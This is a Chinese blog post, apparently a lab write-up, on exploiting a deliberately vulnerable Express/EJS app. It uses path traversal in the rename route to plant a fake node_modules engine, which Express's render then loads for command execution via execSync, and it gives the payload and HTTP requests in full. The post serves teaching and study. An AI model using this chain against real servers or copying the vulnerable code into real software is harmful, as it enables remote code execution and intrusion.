前言

看了参考文章,看起来是文件上传+模板可控的玩法,简单来说就是先上传含JavaScript代码的文件,在ejs解析模板时完成代码注入执行。


环境搭建

首先创建一个NodeJS项目,安装一下所需依赖:

npm init
npm install express
npm install ejs
npm install express-session
npm install multer

然后在目录下新建uploads和views两个目录,并在views目录下新建两个ejs模板文件login.ejs:

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>login</title>
    </head>
    <body>
        <form action="/login" enctype="application/x-www-form-urlencoded" method="post">
            <input type="text" name="username" value="username">
            <input type="text" name="password" value="password">
            <button type="submit">submit</button>
        </form>
    </body>
</html>

和upload.ejs:

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>upload</title>
    <body>
        <form accept="/upload" enctype="multipart/form-data" method="post">
            <input type="file" name="fileInput" id="file">
            <button type="submit" name="submit">submit</button>
        </form>
    </body>
</html>

然后新建index.js项目主代码文件:

// 导入必要的模块
const express = require('express'); // Express web framework
const ejs = require('ejs'); // Embedded JavaScript templates
const session = require('express-session'); // Session middleware for Express
const bodyParse = require('body-parser'); // Middleware for parsing HTTP request bodies
const multer = require('multer'); // Middleware for handling multipart/form-data
const fs = require('fs'); // File system module
const path = require("path"); // Path module

// 创建目录以确保文件路径存在
function createDirectoriesForFilePath(filePath) {
    const dirname = path.dirname(filePath);
    fs.mkdirSync(dirname, { recursive: true });
}

// 检查用户是否登录的中间件
function IfLogin(req, res, next) {
    if (req.session.user != null) {
        next();
    } else {
        res.redirect('/login');
    }
}

// 设置 Multer 存储引擎
const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
    },
    filename: function (req, file, cb) {
        cb(null, file.originalname); // 使用原始文件名作为上传后的文件名
    }
});

// 配置 Multer 上传中间件
const upload = multer({
    storage: storage, // 使用自定义存储选项
    fileFilter: (req, file, cb) => {
        const fileExt = path.extname(file.originalname).toLowerCase();
        if (fileExt === '.ejs') {
            // 如果文件后缀为 .ejs,则拒绝上传该文件
            return cb(new Error('Upload of .ejs files is not allowed'), false);
        }
        cb(null, true); // 允许上传其他类型的文件
    }
});

// 定义管理员账户
const admin = {
    "username": "ADMIN",
    "password": "123456"
};

// 初始化 Express 应用
const app = express();
// 静态文件服务和中间件配置
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.use(session({
    secret: 'Can_U_hack_me?',
    resave: false,
    saveUninitialized: true,
    cookie: { maxAge: 3600 * 1000 }
}));

// 路由定义
app.get('/', (req, res) => {
    res.redirect('/login');
});

app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username === 'admin') {
        return res.status(400).send('you can not be admin');
    }
    const new_username = username.toUpperCase();
    if (new_username === admin.username && password === admin.password) {
        req.session.user = "ADMIN";
        res.redirect('/rename');
    } else {
        res.redirect('/login');
    }
});

app.get('/upload', (req, res) => {
    res.render('upload');
});

//中间件过滤 'fileInput' 是 HTML 表单中 <input type="file"> 的 name 属性值,Multer 将根据这个值来识别上传的文件。
app.post('/upload', upload.single('fileInput'), (req, res) => {
    if (!req.file) {
        return res.status(400).send('No file uploaded');
    }
    res.send('File uploaded successfully: ' + req.file.originalname);
});

app.get('/render', (req, res) => {
    const { filename } = req.query;
    if (!filename) {
        return res.status(400).send('Filename parameter is required');
    }
    const filePath = path.join(__dirname, 'uploads', filename);
    if (filePath.endsWith('.ejs')) {
        return res.status(400).send('Invalid file type.');
    }
    //漏洞点:将文件内容渲染到页面中
    res.render(filePath);
});

app.get('/rename', IfLogin, (req, res) => {
    //admin检查
    if (req.session.user !== 'ADMIN') {
        return res.status(403).send('Access forbidden');
    }
    const { oldPath, newPath } = req.query;
    if (!oldPath || !newPath) {
        return res.status(400).send('Missing oldPath or newPath');
    }
    if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
        return res.status(400).send('Invalid file name');
    }
    if (oldPath && /\.\.|flag/i.test(oldPath)) {
        return res.status(400).send('Invalid file name');
    }
    const new_file = newPath.toLowerCase();
    const oldFilePath = path.join(__dirname, 'uploads', oldPath);
    const newFilePath = path.join(__dirname, 'uploads', new_file);
    if (newFilePath.endsWith('.ejs')) {
        return res.status(400).send('Invalid file type.');
    }
    if (!oldPath) {
        return res.status(400).send('oldPath parameter is required');
    }
    if (!fs.existsSync(oldFilePath)) {
        return res.status(404).send('Old file not found');
    }
    if (fs.existsSync(newFilePath)) {
        return res.status(409).send('New file path already exists');
    }
    createDirectoriesForFilePath(newFilePath)
    fs.rename(oldFilePath, newFilePath, (err) => {
        if (err) {
            console.error('Error renaming file:', err);
            return res.status(500).send('Error renaming file');
        }
        res.send('File renamed successfully');
    });
});

// 启动服务器
app.listen('3000', () => {
    console.log(`http://localhost:3000`);
});

测试环境搭建完成,接下来简单捋一下代码逻辑,无关紧要的登录部分直接跳过。

文件上传与重命名

首先是文件上传功能:

// 设置 Multer 存储引擎
const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
    },
    filename: function (req, file, cb) {
        cb(null, file.originalname); // 使用原始文件名作为上传后的文件名
    }
});

// 配置 Multer 上传中间件
const upload = multer({
    storage: storage, // 使用自定义存储选项
    fileFilter: (req, file, cb) => {
        const fileExt = path.extname(file.originalname).toLowerCase();
        if (fileExt === '.ejs') {
            // 如果文件后缀为 .ejs,则拒绝上传该文件
            return cb(new Error('Upload of .ejs files is not allowed'), false);
        }
        cb(null, true); // 允许上传其他类型的文件
    }
});

上传文件放置在uploads目录下,但是限制了上传文件的后缀名,因此不能直接上传ejs模板文件。

文件上传后,还存在将上传文件重命名的功能:

const { oldPath, newPath } = req.query;
...
const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);
...
createDirectoriesForFilePath(newFilePath)
fs.rename(oldFilePath, newFilePath, (err) => {
    if (err) {
        console.error('Error renaming file:', err);
        return res.status(500).send('Error renaming file');
    }
    res.send('File renamed successfully');
});

存在以下几种限制:

  • 无法覆盖app.js
  • 无法将flag转移到web可读目录
  • 无法重命名为ejs文件

但是重命名路径没有限制使用../跳转目录,所以仍然存在目录穿越的可能,比如将上传文件重命名到node_modules目录下假装为一个nodejs模块。

模板解析

关键点在于render,可以指定渲染模板:

const { filename } = req.query;
if (!filename) {
    return res.status(400).send('Filename parameter is required');
}
const filePath = path.join(__dirname, 'uploads', filename);
if (filePath.endsWith('.ejs')) {
    return res.status(400).send('Invalid file type.');
}
//漏洞点:将文件内容渲染到页面中
res.render(filePath);

文件路径前缀被设置为了uploads目录,没有限制../可以进行目录穿越,但是上传文件和重命名文件都不能是ejs,所以需要绕一点路。

随便输入一个文件名比如twings.test做测试,可以看到报错:

Error: Cannot find module 'test'
Require stack:
- D:\js\ejs_render\node_modules\express\lib\view.js
- D:\js\ejs_render\node_modules\express\lib\application.js
- D:\js\ejs_render\node_modules\express\lib\express.js
- D:\js\ejs_render\node_modules\express\index.js
- D:\js\ejs_render\index.js
    at Function.Module._resolveFilename (internal/modules/cjs/loader.js:815:15)
    at Function.Module._load (internal/modules/cjs/loader.js:667:27)
    at Module.require (internal/modules/cjs/loader.js:887:19)
    at require (internal/modules/cjs/helpers.js:74:18)
    at new View (D:\js\ejs_render\node_modules\express\lib\view.js:81:14)
    at Function.render (D:\js\ejs_render\node_modules\express\lib\application.js:587:12)
    at ServerResponse.render (D:\js\ejs_render\node_modules\express\lib\response.js:1048:7)
    at D:\js\ejs_render\index.js:113:9
    at Layer.handle [as handle_request] (D:\js\ejs_render\node_modules\express\lib\router\layer.js:95:5)
    at next (D:\js\ejs_render\node_modules\express\lib\router\route.js:149:13)

看起来输入的twings.test并不是被当作一个文件名来处理,而是一个看起来像是文件名+模块名的组合,具体含义还得往下看,根据追踪一下调用流程,render路由渲染模板时,首先来到response.js中定义的render方法:

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge res.locals
  opts._locals = self.locals;

  // default callback to respond
  done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
  };

  // render
  app.render(view, opts, done);
};

view即待解析的模板文件名twings.test,这里看起来没什么特殊的地方,下一步到application.js定义的render方法,该方法在不存在模板解析缓存时会创建模板,创建模板的关键代码如下:

  // view
  if (!view) {
    var View = this.get('view');

    view = new View(name, {
      defaultEngine: this.get('view engine'),
      root: this.get('views'),
      engines: engines
    });

    if (!view.path) {
      var dirs = Array.isArray(view.root) && view.root.length > 1
        ? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
        : 'directory "' + view.root + '"'
      var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
      err.view = view;
      return done(err);
    }

    // prime the cache
    if (renderOptions.cache) {
      cache[name] = view;
    }
  }

name即待解析的模板文件名twings.test,这里会使用name实例化一个新的View对象,看看View类的构造函数:

  this.ext = extname(name);
  ...
  if (!this.ext) {
    // get extension from default engine name
    this.ext = this.defaultEngine[0] !== '.'
      ? '.' + this.defaultEngine
      : this.defaultEngine;

    fileName += this.ext;
  }

  if (!opts.engines[this.ext]) {
    // load engine
    var mod = this.ext.slice(1)
    debug('require "%s"', mod)

    // default engine export
    var fn = require(mod).__express

    if (typeof fn !== 'function') {
      throw new Error('Module "' + mod + '" does not provide a view engine.')
    }

    opts.engines[this.ext] = fn
  }
// store loaded engine
this.engine = opts.engines[this.ext];

通过extname函数获取了模板文件的后缀名,而如果后缀名不存在比如输入为twings,就会以默认的ejs后缀名进行后面的模板引擎加载,导致的错误就会变成模板文件不存在:

Error: Failed to lookup view "D:\js\ejs_render\uploads\twings" in views directory "D:\js\ejs_render\views"

而如果输入的是twings.test,那么后缀名的test就会被当作模板类型,express框架就会尝试使用require方法加载名为test的模块,就会因为模块不存在报错。

从模块中加载导出函数保存到engine成员后,后续会经过tryRender方法进行调用:

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

配合文件重命名功能,实际玩法就是将上传文件伪造成node_modules下的模块进行代码注入执行,代码还很贴心的提供了重命名文件的同时创建不存在目录的功能。

首先模块中的导出函数会被执行,所以可以写一个导出函数给他调用:

exports.__express = function () {
    console.log(require('child_process').execSync("calc.exe"));
}

上传文件后通过重命名功能移动到node_modules目录下:

GET /rename?oldPath=twings.test&newPath=../node_modules/test/index.js HTTP/1.0
Host: localhost:3000
Cookie: connect.sid=s%3AMSA2OneDZFb2uX-mapPf6GDPoem_CDII.dTasJ1aeP3%2ByXrMgJPzUPj4%2BVSmM34QzJk9O2Zw3WM4

由于此时上传文件已经被移动走,直接访问render会因为文件路径不存在报错,所以需要先再上传一次文件,然后render一下就行:

GET /render?filename=twings.test HTTP/1.0
Host: localhost:3000
Cookie: connect.sid=s%3AMSA2OneDZFb2uX-mapPf6GDPoem_CDII.dTasJ1aeP3%2ByXrMgJPzUPj4%2BVSmM34QzJk9O2Zw3WM4

更直接一点的思路就是利用require相当于文件包含然后代码执行的原理,直接在上传文件里面写命令执行代码就行:

console.log(require('child_process').execSync("calc.exe"));

参考

对ejs引擎漏洞及函数特性的利用


NodeJS JavaScript ejs

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Python原型链污染
关于Java17下面的反序列化问题